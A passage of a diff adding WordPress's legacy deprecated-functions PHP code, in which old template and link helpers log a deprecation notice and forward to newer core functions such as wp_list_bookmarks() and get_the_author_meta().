+function dropdown_cats($optionall = 1, $all = 'All', $orderby = 'ID', $order = 'asc',
+		$show_last_update = 0, $show_count = 0, $hide_empty = 1, $optionnone = false,
+		$selected = 0, $exclude = 0) {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_dropdown_categories()' );
+
+	$show_option_all = '';
+	if ( $optionall )
+		$show_option_all = $all;
+
+	$show_option_none = '';
+	if ( $optionnone )
+		$show_option_none = __('None');
+
+	$vars = compact('show_option_all', 'show_option_none', 'orderby', 'order',
+					'show_last_update', 'show_count', 'hide_empty', 'selected', 'exclude');
+	$query = add_query_arg($vars, '');
+	return wp_dropdown_categories($query);
+}
+
+/**
+ * Lists authors.
+ *
+ * @since 1.2.0
+ * @deprecated 2.1.0 Use wp_list_authors()
+ * @see wp_list_authors()
+ *
+ * @param bool $optioncount
+ * @param bool $exclude_admin
+ * @param bool $show_fullname
+ * @param bool $hide_empty
+ * @param string $feed
+ * @param string $feed_image
+ * @return null|string
+ */
+function list_authors($optioncount = false, $exclude_admin = true, $show_fullname = false, $hide_empty = true, $feed = '', $feed_image = '') {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_authors()' );
+
+	$args = compact('optioncount', 'exclude_admin', 'show_fullname', 'hide_empty', 'feed', 'feed_image');
+	return wp_list_authors($args);
+}
+
+/**
+ * Retrieves a list of post categories.
+ *
+ * @since 1.0.1
+ * @deprecated 2.1.0 Use wp_get_post_categories()
+ * @see wp_get_post_categories()
+ *
+ * @param int $blogid Not Used
+ * @param int $post_ID
+ * @return array
+ */
+function wp_get_post_cats($blogid = '1', $post_ID = 0) {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_get_post_categories()' );
+	return wp_get_post_categories($post_ID);
+}
+
+/**
+ * Sets the categories that the post id belongs to.
+ *
+ * @since 1.0.1
+ * @deprecated 2.1.0
+ * @deprecated Use wp_set_post_categories()
+ * @see wp_set_post_categories()
+ *
+ * @param int $blogid Not used
+ * @param int $post_ID
+ * @param array $post_categories
+ * @return bool|mixed
+ */
+function wp_set_post_cats($blogid = '1', $post_ID = 0, $post_categories = array()) {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_set_post_categories()' );
+	return wp_set_post_categories($post_ID, $post_categories);
+}
+
+/**
+ * Retrieves a list of archives.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0 Use wp_get_archives()
+ * @see wp_get_archives()
+ *
+ * @param string $type
+ * @param string $limit
+ * @param string $format
+ * @param string $before
+ * @param string $after
+ * @param bool $show_post_count
+ * @return string|null
+ */
+function get_archives($type='', $limit='', $format='html', $before = '', $after = '', $show_post_count = false) {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_get_archives()' );
+	$args = compact('type', 'limit', 'format', 'before', 'after', 'show_post_count');
+	return wp_get_archives($args);
+}
+
+/**
+ * Returns or Prints link to the author's posts.
+ *
+ * @since 1.2.0
+ * @deprecated 2.1.0 Use get_author_posts_url()
+ * @see get_author_posts_url()
+ *
+ * @param bool $echo
+ * @param int $author_id
+ * @param string $author_nicename Optional.
+ * @return string|null
+ */
+function get_author_link($echo, $author_id, $author_nicename = '') {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'get_author_posts_url()' );
+
+	$link = get_author_posts_url($author_id, $author_nicename);
+
+	if ( $echo )
+		echo $link;
+	return $link;
+}
+
+/**
+ * Print list of pages based on arguments.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0 Use wp_link_pages()
+ * @see wp_link_pages()
+ *
+ * @param string $before
+ * @param string $after
+ * @param string $next_or_number
+ * @param string $nextpagelink
+ * @param string $previouspagelink
+ * @param string $pagelink
+ * @param string $more_file
+ * @return string
+ */
+function link_pages($before='<br />', $after='<br />', $next_or_number='number', $nextpagelink='next page', $previouspagelink='previous page',
+					$pagelink='%', $more_file='') {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_link_pages()' );
+
+	$args = compact('before', 'after', 'next_or_number', 'nextpagelink', 'previouspagelink', 'pagelink', 'more_file');
+	return wp_link_pages($args);
+}
+
+/**
+ * Get value based on option.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0 Use get_option()
+ * @see get_option()
+ *
+ * @param string $option
+ * @return string
+ */
+function get_settings($option) {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'get_option()' );
+
+	return get_option($option);
+}
+
+/**
+ * Print the permalink of the current post in the loop.
+ *
+ * @since 0.71
+ * @deprecated 1.2.0 Use the_permalink()
+ * @see the_permalink()
+ */
+function permalink_link() {
+	_deprecated_function( __FUNCTION__, '1.2.0', 'the_permalink()' );
+	the_permalink();
+}
+
+/**
+ * Print the permalink to the RSS feed.
+ *
+ * @since 0.71
+ * @deprecated 2.3.0 Use the_permalink_rss()
+ * @see the_permalink_rss()
+ *
+ * @param string $deprecated
+ */
+function permalink_single_rss($deprecated = '') {
+	_deprecated_function( __FUNCTION__, '2.3.0', 'the_permalink_rss()' );
+	the_permalink_rss();
+}
+
+/**
+ * Gets the links associated with category.
+ *
+ * @since 1.0.1
+ * @deprecated 2.1.0 Use wp_list_bookmarks()
+ * @see wp_list_bookmarks()
+ *
+ * @param string $args a query string
+ * @return null|string
+ */
+function wp_get_links($args = '') {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_bookmarks()' );
+
+	if ( strpos( $args, '=' ) === false ) {
+		$cat_id = $args;
+		$args = add_query_arg( 'category', $cat_id, $args );
+	}
+
+	$defaults = array(
+		'after' => '<br />',
+		'before' => '',
+		'between' => ' ',
+		'categorize' => 0,
+		'category' => '',
+		'echo' => true,
+		'limit' => -1,
+		'orderby' => 'name',
+		'show_description' => true,
+		'show_images' => true,
+		'show_rating' => false,
+		'show_updated' => true,
+		'title_li' => '',
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	return wp_list_bookmarks($r);
+}
+
+/**
+ * Gets the links associated with category by id.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0 Use get_bookmarks()
+ * @see get_bookmarks()
+ *
+ * @param int $category The category to use. If no category supplied uses all
+ * @param string $before the html to output before the link
+ * @param string $after the html to output after the link
+ * @param string $between the html to output between the link/image and its description.
+ *		Not used if no image or show_images == true
+ * @param bool $show_images whether to show images (if defined).
+ * @param string $orderby the order to output the links. E.g. 'id', 'name', 'url',
+ *		'description', or 'rating'. Or maybe owner. If you start the name with an
+ *		underscore the order will be reversed. You can also specify 'rand' as the order
+ *		which will return links in a random order.
+ * @param bool $show_description whether to show the description if show_images=false/not defined.
+ * @param bool $show_rating show rating stars/chars
+ * @param int $limit Limit to X entries. If not specified, all entries are shown.
+ * @param int $show_updated whether to show last updated timestamp
+ * @param bool $echo whether to echo the results, or return them instead
+ * @return null|string
+ */
+function get_links($category = -1, $before = '', $after = '<br />', $between = ' ', $show_images = true, $orderby = 'name',
+			$show_description = true, $show_rating = false, $limit = -1, $show_updated = 1, $echo = true) {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'get_bookmarks()' );
+
+	$order = 'ASC';
+	if ( substr($orderby, 0, 1) == '_' ) {
+		$order = 'DESC';
+		$orderby = substr($orderby, 1);
+	}
+
+	if ( $category == -1 ) //get_bookmarks uses '' to signify all categories
+		$category = '';
+
+	$results = get_bookmarks(array('category' => $category, 'orderby' => $orderby, 'order' => $order, 'show_updated' => $show_updated, 'limit' => $limit));
+
+	if ( !$results )
+		return;
+
+	$output = '';
+
+	foreach ( (array) $results as $row ) {
+		if ( !isset($row->recently_updated) )
+			$row->recently_updated = false;
+		$output .= $before;
+		if ( $show_updated && $row->recently_updated )
+			$output .= get_option('links_recently_updated_prepend');
+		$the_link = '#';
+		if ( !empty($row->link_url) )
+			$the_link = esc_url($row->link_url);
+		$rel = $row->link_rel;
+		if ( '' != $rel )
+			$rel = ' rel="' . $rel . '"';
+
+		$desc = esc_attr(sanitize_bookmark_field('link_description', $row->link_description, $row->link_id, 'display'));
+		$name = esc_attr(sanitize_bookmark_field('link_name', $row->link_name, $row->link_id, 'display'));
+		$title = $desc;
+
+		if ( $show_updated )
+			if (substr($row->link_updated_f, 0, 2) != '00')
+				$title .= ' ('.__('Last updated') . ' ' . date(get_option('links_updated_date_format'), $row->link_updated_f + (get_option('gmt_offset') * HOUR_IN_SECONDS)) . ')';
+
+		if ( '' != $title )
+			$title = ' title="' . $title . '"';
+
+		$alt = ' alt="' . $name . '"';
+
+		$target = $row->link_target;
+		if ( '' != $target )
+			$target = ' target="' . $target . '"';
+
+		$output .= '<a href="' . $the_link . '"' . $rel . $title . $target. '>';
+
+		if ( $row->link_image != null && $show_images ) {
+			if ( strpos($row->link_image, 'http') !== false )
+				$output .= "<img src=\"$row->link_image\" $alt $title />";
+			else // If it's a relative path
+				$output .= "<img src=\"" . get_option('siteurl') . "$row->link_image\" $alt $title />";
+		} else {
+			$output .= $name;
+		}
+
+		$output .= '</a>';
+
+		if ( $show_updated && $row->recently_updated )
+			$output .= get_option('links_recently_updated_append');
+
+		if ( $show_description && '' != $desc )
+			$output .= $between . $desc;
+
+		if ($show_rating) {
+			$output .= $between . get_linkrating($row);
+		}
+
+		$output .= "$after\n";
+	} // end while
+
+	if ( !$echo )
+		return $output;
+	echo $output;
+}
+
+/**
+ * Output entire list of links by category.
+ *
+ * Output a list of all links, listed by category, using the settings in
+ * $wpdb->linkcategories and output it as a nested HTML unordered list.
+ *
+ * @since 1.0.1
+ * @deprecated 2.1.0 Use wp_list_bookmarks()
+ * @see wp_list_bookmarks()
+ *
+ * @param string $order Sort link categories by 'name' or 'id'
+ */
+function get_links_list($order = 'name') {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'wp_list_bookmarks()' );
+
+	$order = strtolower($order);
+
+	// Handle link category sorting
+	$direction = 'ASC';
+	if ( '_' == substr($order,0,1) ) {
+		$direction = 'DESC';
+		$order = substr($order,1);
+	}
+
+	if ( !isset($direction) )
+		$direction = '';
+
+	$cats = get_categories(array('type' => 'link', 'orderby' => $order, 'order' => $direction, 'hierarchical' => 0));
+
+	// Display each category
+	if ( $cats ) {
+		foreach ( (array) $cats as $cat ) {
+			// Handle each category.
+
+			// Display the category name
+			echo '  <li id="linkcat-' . $cat->term_id . '" class="linkcat"><h2>' . apply_filters('link_category', $cat->name ) . "</h2>\n\t<ul>\n";
+			// Call get_links() with all the appropriate params
+			get_links($cat->term_id, '<li>', "</li>", "\n", true, 'name', false);
+
+			// Close the last category
+			echo "\n\t</ul>\n</li>\n";
+		}
+	}
+}
+
+/**
+ * Show the link to the links popup and the number of links.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0
+ *
+ * @param string $text the text of the link
+ * @param int $width the width of the popup window
+ * @param int $height the height of the popup window
+ * @param string $file the page to open in the popup window
+ * @param bool $count the number of links in the db
+ */
+function links_popup_script($text = 'Links', $width=400, $height=400, $file='links.all.php', $count = true) {
+	_deprecated_function( __FUNCTION__, '2.1.0' );
+}
+
+/**
+ * Legacy function that retrieved the value of a link's link_rating field.
+ *
+ * @since 1.0.1
+ * @deprecated 2.1.0 Use sanitize_bookmark_field()
+ * @see sanitize_bookmark_field()
+ *
+ * @param object $link Link object.
+ * @return mixed Value of the 'link_rating' field, false otherwise.
+ */
+function get_linkrating( $link ) {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'sanitize_bookmark_field()' );
+	return sanitize_bookmark_field('link_rating', $link->link_rating, $link->link_id, 'display');
+}
+
+/**
+ * Gets the name of category by id.
+ *
+ * @since 0.71
+ * @deprecated 2.1.0 Use get_category()
+ * @see get_category()
+ *
+ * @param int $id The category to get. If no category supplied uses 0
+ * @return string
+ */
+function get_linkcatname($id = 0) {
+	_deprecated_function( __FUNCTION__, '2.1.0', 'get_category()' );
+
+	$id = (int) $id;
+
+	if ( empty($id) )
+		return '';
+
+	$cats = wp_get_link_cats($id);
+
+	if ( empty($cats) || ! is_array($cats) )
+		return '';
+
+	$cat_id = (int) $cats[0]; // Take the first cat.
+
+	$cat = get_category($cat_id);
+	return $cat->name;
+}
+
+/**
+ * Print RSS comment feed link.
+ *
+ * @since 1.0.1
+ * @deprecated 2.5.0 Use post_comments_feed_link()
+ * @see post_comments_feed_link()
+ *
+ * @param string $link_text
+ */
+function comments_rss_link($link_text = 'Comments RSS') {
+	_deprecated_function( __FUNCTION__, '2.5.0', 'post_comments_feed_link()' );
+	post_comments_feed_link($link_text);
+}
+
+/**
+ * Print/Return link to category RSS2 feed.
+ *
+ * @since 1.2.0
+ * @deprecated 2.5.0 Use get_category_feed_link()
+ * @see get_category_feed_link()
+ *
+ * @param bool $echo
+ * @param int $cat_ID
+ * @return string
+ */
+function get_category_rss_link($echo = false, $cat_ID = 1) {
+	_deprecated_function( __FUNCTION__, '2.5.0', 'get_category_feed_link()' );
+
+	$link = get_category_feed_link($cat_ID, 'rss2');
+
+	if ( $echo )
+		echo $link;
+	return $link;
+}
+
+/**
+ * Print/Return link to author RSS feed.
+ *
+ * @since 1.2.0
+ * @deprecated 2.5.0 Use get_author_feed_link()
+ * @see get_author_feed_link()
+ *
+ * @param bool $echo
+ * @param int $author_id
+ * @return string
+ */
+function get_author_rss_link($echo = false, $author_id = 1) {
+	_deprecated_function( __FUNCTION__, '2.5.0', 'get_author_feed_link()' );
+
+	$link = get_author_feed_link($author_id);
+	if ( $echo )
+		echo $link;
+	return $link;
+}
+
+/**
+ * Return link to the post RSS feed.
+ *
+ * @since 1.5.0
+ * @deprecated 2.2.0 Use get_post_comments_feed_link()
+ * @see get_post_comments_feed_link()
+ *
+ * @return string
+ */
+function comments_rss() {
+	_deprecated_function( __FUNCTION__, '2.2.0', 'get_post_comments_feed_link()' );
+	return esc_url( get_post_comments_feed_link() );
+}
+
+/**
+ * An alias of wp_create_user().
+ *
+ * @since 2.0.0
+ * @deprecated 2.0.0 Use wp_create_user()
+ * @see wp_create_user()
+ *
+ * @param string $username The user's username.
+ * @param string $password The user's password.
+ * @param string $email    The user's email.
+ * @return int The new user's ID.
+ */
+function create_user($username, $password, $email) {
+	_deprecated_function( __FUNCTION__, '2.0.0', 'wp_create_user()' );
+	return wp_create_user($username, $password, $email);
+}
+
+/**
+ * Unused function.
+ *
+ * @deprecated 2.5.0
+ */
+function gzip_compression() {
+	_deprecated_function( __FUNCTION__, '2.5.0' );
+	return false;
+}
+
+/**
+ * Retrieve an array of comment data about comment $comment_ID.
+ *
+ * @since 0.71
+ * @deprecated 2.7.0 Use get_comment()
+ * @see get_comment()
+ *
+ * @param int $comment_ID The ID of the comment
+ * @param int $no_cache Whether to use the cache (cast to bool)
+ * @param bool $include_unapproved Whether to include unapproved comments
+ * @return array The comment data
+ */
+function get_commentdata( $comment_ID, $no_cache = 0, $include_unapproved = false ) {
+	_deprecated_function( __FUNCTION__, '2.7.0', 'get_comment()' );
+	return get_comment($comment_ID, ARRAY_A);
+}
+
+/**
+ * Retrieve the category name by the category ID.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0 Use get_cat_name()
+ * @see get_cat_name()
+ *
+ * @param int $cat_ID Category ID
+ * @return string category name
+ */
+function get_catname( $cat_ID ) {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'get_cat_name()' );
+	return get_cat_name( $cat_ID );
+}
+
+/**
+ * Retrieve category children list separated before and after the term IDs.
+ *
+ * @since 1.2.0
+ * @deprecated 2.8.0 Use get_term_children()
+ * @see get_term_children()
+ *
+ * @param int $id Category ID to retrieve children.
+ * @param string $before Optional. Prepend before category term ID.
+ * @param string $after Optional, default is empty string. Append after category term ID.
+ * @param array $visited Optional. Category Term IDs that have already been added.
+ * @return string
+ */
+function get_category_children( $id, $before = '/', $after = '', $visited = array() ) {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'get_term_children()' );
+	if ( 0 == $id )
+		return '';
+
+	$chain = '';
+	/** TODO: consult hierarchy */
+	$cat_ids = get_all_category_ids();
+	foreach ( (array) $cat_ids as $cat_id ) {
+		if ( $cat_id == $id )
+			continue;
+
+		$category = get_category( $cat_id );
+		if ( is_wp_error( $category ) )
+			return $category;
+		if ( $category->parent == $id && !in_array( $category->term_id, $visited ) ) {
+			$visited[] = $category->term_id;
+			$chain .= $before.$category->term_id.$after;
+			$chain .= get_category_children( $category->term_id, $before, $after );
+		}
+	}
+	return $chain;
+}
+
+/**
+ * Retrieves all category IDs.
+ *
+ * @since 2.0.0
+ * @deprecated 4.0.0 Use get_terms()
+ * @see get_terms()
+ *
+ * @link https://codex.wordpress.org/Function_Reference/get_all_category_ids
+ *
+ * @return object List of all of the category IDs.
+ */
+function get_all_category_ids() {
+	_deprecated_function( __FUNCTION__, '4.0.0', 'get_terms()' );
+
+	if ( ! $cat_ids = wp_cache_get( 'all_category_ids', 'category' ) ) {
+		$cat_ids = get_terms( 'category', array('fields' => 'ids', 'get' => 'all') );
+		wp_cache_add( 'all_category_ids', $cat_ids, 'category' );
+	}
+
+	return $cat_ids;
+}
+
+/**
+ * Retrieve the description of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0 Use get_the_author_meta()
+ * @see get_the_author_meta()
+ *
+ * @return string The author's description.
+ */
+function get_the_author_description() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'description\')' );
+	return get_the_author_meta('description');
+}
+
+/**
+ * Display the description of the author of the current post.
+ *
+ * @since 1.0.0
+ * @deprecated 2.8.0 Use the_author_meta()
+ * @see the_author_meta()
+ */
+function the_author_description() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'description\')' );
+	the_author_meta('description');
+}
+
+/**
+ * Retrieve the login name of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0 Use get_the_author_meta()
+ * @see get_the_author_meta()
+ *
+ * @return string The author's login name (username).
+ */
+function get_the_author_login() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'login\')' );
+	return get_the_author_meta('login');
+}
+
+/**
+ * Display the login name of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0 Use the_author_meta()
+ * @see the_author_meta()
+ */
+function the_author_login() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'login\')' );
+	the_author_meta('login');
+}
+
+/**
+ * Retrieve the first name of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0 Use get_the_author_meta()
+ * @see get_the_author_meta()
+ *
+ * @return string The author's first name.
+ */
+function get_the_author_firstname() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'first_name\')' );
+	return get_the_author_meta('first_name');
+}
+
+/**
+ * Display the first name of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0 Use the_author_meta()
+ * @see the_author_meta()
+ */
+function the_author_firstname() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'first_name\')' );
+	the_author_meta('first_name');
+}
+
+/**
+ * Retrieve the last name of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0 Use get_the_author_meta()
+ * @see get_the_author_meta()
+ *
+ * @return string The author's last name.
+ */
+function get_the_author_lastname() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'last_name\')' );
+	return get_the_author_meta('last_name');
+}
+
+/**
+ * Display the last name of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0 Use the_author_meta()
+ * @see the_author_meta()
+ */
+function the_author_lastname() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'last_name\')' );
+	the_author_meta('last_name');
+}
+
+/**
+ * Retrieve the nickname of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0 Use get_the_author_meta()
+ * @see get_the_author_meta()
+ *
+ * @return string The author's nickname.
+ */
+function get_the_author_nickname() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'nickname\')' );
+	return get_the_author_meta('nickname');
+}
+
+/**
+ * Display the nickname of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0 Use the_author_meta()
+ * @see the_author_meta()
+ */
+function the_author_nickname() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'nickname\')' );
+	the_author_meta('nickname');
+}
+
+/**
+ * Retrieve the email of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0 Use get_the_author_meta()
+ * @see get_the_author_meta()
+ *
+ * @return string The author's username.
+ */
+function get_the_author_email() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'email\')' );
+	return get_the_author_meta('email');
+}
+
+/**
+ * Display the email of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0 Use the_author_meta()
+ * @see the_author_meta()
+ */
+function the_author_email() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'email\')' );
+	the_author_meta('email');
+}
+
+/**
+ * Retrieve the ICQ number of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0 Use get_the_author_meta()
+ * @see get_the_author_meta()
+ *
+ * @return string The author's ICQ number.
+ */
+function get_the_author_icq() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'icq\')' );
+	return get_the_author_meta('icq');
+}
+
+/**
+ * Display the ICQ number of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0 Use the_author_meta()
+ * @see the_author_meta()
+ */
+function the_author_icq() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'icq\')' );
+	the_author_meta('icq');
+}
+
+/**
+ * Retrieve the Yahoo! IM name of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0 Use get_the_author_meta()
+ * @see get_the_author_meta()
+ *
+ * @return string The author's Yahoo! IM name.
+ */
+function get_the_author_yim() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'yim\')' );
+	return get_the_author_meta('yim');
+}
+
+/**
+ * Display the Yahoo! IM name of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0 Use the_author_meta()
+ * @see the_author_meta()
+ */
+function the_author_yim() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'yim\')' );
+	the_author_meta('yim');
+}
+
+/**
+ * Retrieve the MSN address of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0 Use get_the_author_meta()
+ * @see get_the_author_meta()
+ *
+ * @return string The author's MSN address.
+ */
+function get_the_author_msn() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'msn\')' );
+	return get_the_author_meta('msn');
+}
+
+/**
+ * Display the MSN address of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0 Use the_author_meta()
+ * @see the_author_meta()
+ */
+function the_author_msn() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'msn\')' );
+	the_author_meta('msn');
+}
+
+/**
+ * Retrieve the AIM address of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0 Use get_the_author_meta()
+ * @see get_the_author_meta()
+ *
+ * @return string The author's AIM address.
+ */
+function get_the_author_aim() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'aim\')' );
+	return get_the_author_meta('aim');
+}
+
+/**
+ * Display the AIM address of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0 Use the_author_meta('aim')
+ * @see the_author_meta()
+ */
+function the_author_aim() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'aim\')' );
+	the_author_meta('aim');
+}
+
+/**
+ * Retrieve the specified author's preferred display name.
+ *
+ * @since 1.0.0
+ * @deprecated 2.8.0 Use get_the_author_meta()
+ * @see get_the_author_meta()
+ *
+ * @param int $auth_id The ID of the author.
+ * @return string The author's display name.
+ */
+function get_author_name( $auth_id = false ) {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'display_name\')' );
+	return get_the_author_meta('display_name', $auth_id);
+}
+
+/**
+ * Retrieve the URL to the home page of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0 Use get_the_author_meta()
+ * @see get_the_author_meta()
+ *
+ * @return string The URL to the author's page.
+ */
+function get_the_author_url() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'url\')' );
+	return get_the_author_meta('url');
+}
+
+/**
+ * Display the URL to the home page of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0 Use the_author_meta()
+ * @see the_author_meta()
+ */
+function the_author_url() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'url\')' );
+	the_author_meta('url');
+}
+
+/**
+ * Retrieve the ID of the author of the current post.
+ *
+ * @since 1.5.0
+ * @deprecated 2.8.0 Use get_the_author_meta()
+ * @see get_the_author_meta()
+ *
+ * @return string|int The author's ID.
+ */
+function get_the_author_ID() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'get_the_author_meta(\'ID\')' );
+	return get_the_author_meta('ID');
+}
+
+/**
+ * Display the ID of the author of the current post.
+ *
+ * @since 0.71
+ * @deprecated 2.8.0 Use the_author_meta()
+ * @see the_author_meta()
+ */
+function the_author_ID() {
+	_deprecated_function( __FUNCTION__, '2.8.0', 'the_author_meta(\'ID\')' );
+	the_author_meta('ID');
+}
+
+/**
+ * Display the post content for the feed.
+ *
+ * For encoding the html or the $encode_html parameter, there are three possible
+ * values. '0' will make urls footnotes and use make_url_footnote(). '1' will
+ * encode special characters and automatically display all of the content. The
+ * value of '2' will strip all HTML tags from the content.
+ *
+ * Also note that you cannot set the amount of words and not set the html
+ * encoding. If that is the case, then the html encoding will default to 2,
+ * which will strip all HTML tags.
+ *
+ * To restrict the amount of words of the content, you can use the cut
+ * parameter. If the content is less than the amount, then there won't be any
+ * dots added to the end. If there is content left over, then dots will be added
+ * and the rest of the content will be removed.
+ *
+ * @since 0.71
+ *
+ * @deprecated 2.9.0 Use the_content_feed()
+ * @see the_content_feed()
+ *
+ * @param string $more_link_text Optional. Text to display when more content is available but not displayed.
+ * @param int $stripteaser Optional. Default is 0.
+ * @param string $more_file Optional.
+ * @param int $cut Optional. Amount of words to keep for the content.
+ * @param int $encode_html Optional. How to encode the content.
+ */
+function the_content_rss($more_link_text='(more...)', $stripteaser=0, $more_file='', $cut = 0, $encode_html = 0) {
+	_deprecated_function( __FUNCTION__, '2.9.0', 'the_content_feed()' );
+	$content = get_the_content($more_link_text, $stripteaser);
+
+	/**
+	 * Filters the post content in the context of an RSS feed.
+	 *
+	 * @since 0.71
+	 *
+	 * @param string $content Content of the current post.
+	 */
+	$content = apply_filters('the_content_rss', $content);
+	if ( $cut && !$encode_html )
+		$encode_html = 2;
+	if ( 1== $encode_html ) {
+		$content = esc_html($content);
+		$cut = 0;
+	} elseif ( 0 == $encode_html ) {
+		$content = make_url_footnote($content);
+	} elseif ( 2 == $encode_html ) {
+		$content = strip_tags($content);
+	}
+	if ( $cut ) {
+		$blah = explode(' ', $content);
+		if ( count($blah) > $cut ) {
+			$k = $cut;
+			$use_dotdotdot = 1;
+		} else {
+			$k = count($blah);
+			$use_dotdotdot = 0;
+		}
+
+		/** @todo Check performance, might be faster to use array slice instead. */
+		for ( $i=0; $i<$k; $i++ )
+			$excerpt .= $blah[$i].' ';
+		$excerpt .= ($use_dotdotdot) ? '...' : '';
+		$content = $excerpt;
+	}
+	$content = str_replace(']]>', ']]&gt;', $content);
+	echo $content;
+}
+
+/**
+ * Strip HTML and put links at the bottom of stripped content.
+ *
+ * Searches for all of the links, strips them out of the content, and places
+ * them at the bottom of the content with numbers.
+ *
+ * @since 0.71
+ * @deprecated 2.9.0
+ *
+ * @param string $content Content to get links
+ * @return string HTML stripped out of content with links at the bottom.
+ */
+function make_url_footnote( $content ) {
+	_deprecated_function( __FUNCTION__, '2.9.0', '' );
+	preg_match_all( '/<a(.+?)href=\"(.+?)\"(.*?)>(.+?)<\/a>/', $content, $matches );
+	$links_summary = "\n";
+	for ( $i = 0, $c = count( $matches[0] ); $i < $c; $i++ ) {
+		$link_match = $matches[0][$i];
+		$link_number = '['.($i+1).']';
+		$link_url = $matches[2][$i];
+		$link_text = $matches[4][$i];
+		$content = str_replace( $link_match, $link_text . ' ' . $link_number, $content );
+		$link_url = ( ( strtolower( substr( $link_url, 0, 7 ) ) != 'http://' ) && ( strtolower( substr( $link_url, 0, 8 ) ) != 'https://' ) ) ? get_option( 'home' ) . $link_url : $link_url;
+		$links_summary .= "\n" . $link_number . ' ' . $link_url;
+	}
+	$content  = strip_tags( $content );
+	$content .= $links_summary;
+	return $content;
+}
+
+/**
+ * Retrieve translated string with vertical bar context
+ *
+ * Quite a few times, there will be collisions with similar translatable text
+ * found in more than two places but with different translated context.
+ *
+ * In order to use the separate contexts, the _c() function is used and the
+ * translatable string uses a pipe ('|') which has the context the string is in.
+ *
+ * When the translated string is returned, it is everything before the pipe, not
+ * including the pipe character. If there is no pipe in the translated text then
+ * everything is returned.
+ *
+ * @since 2.2.0
+ * @deprecated 2.9.0 Use _x()
+ * @see _x()
+ *
+ * @param string $text Text to translate
+ * @param string $domain Optional. Domain to retrieve the translated text
+ * @return string Translated context string without pipe
+ */
+function _c( $text, $domain = 'default' ) {
+	_deprecated_function( __FUNCTION__, '2.9.0', '_x()' );
+	return before_last_bar( translate( $text, $domain ) );
+}
+
+/**
+ * Translates $text like translate(), but assumes that the text
+ * contains a context after its last vertical bar.
+ *
+ * @since 2.5.0
+ * @deprecated 3.0.0 Use _x()
+ * @see _x()
+ *
+ * @param string $text Text to translate
+ * @param string $domain Domain to retrieve the translated text
+ * @return string Translated text
+ */
+function translate_with_context( $text, $domain = 'default' ) {
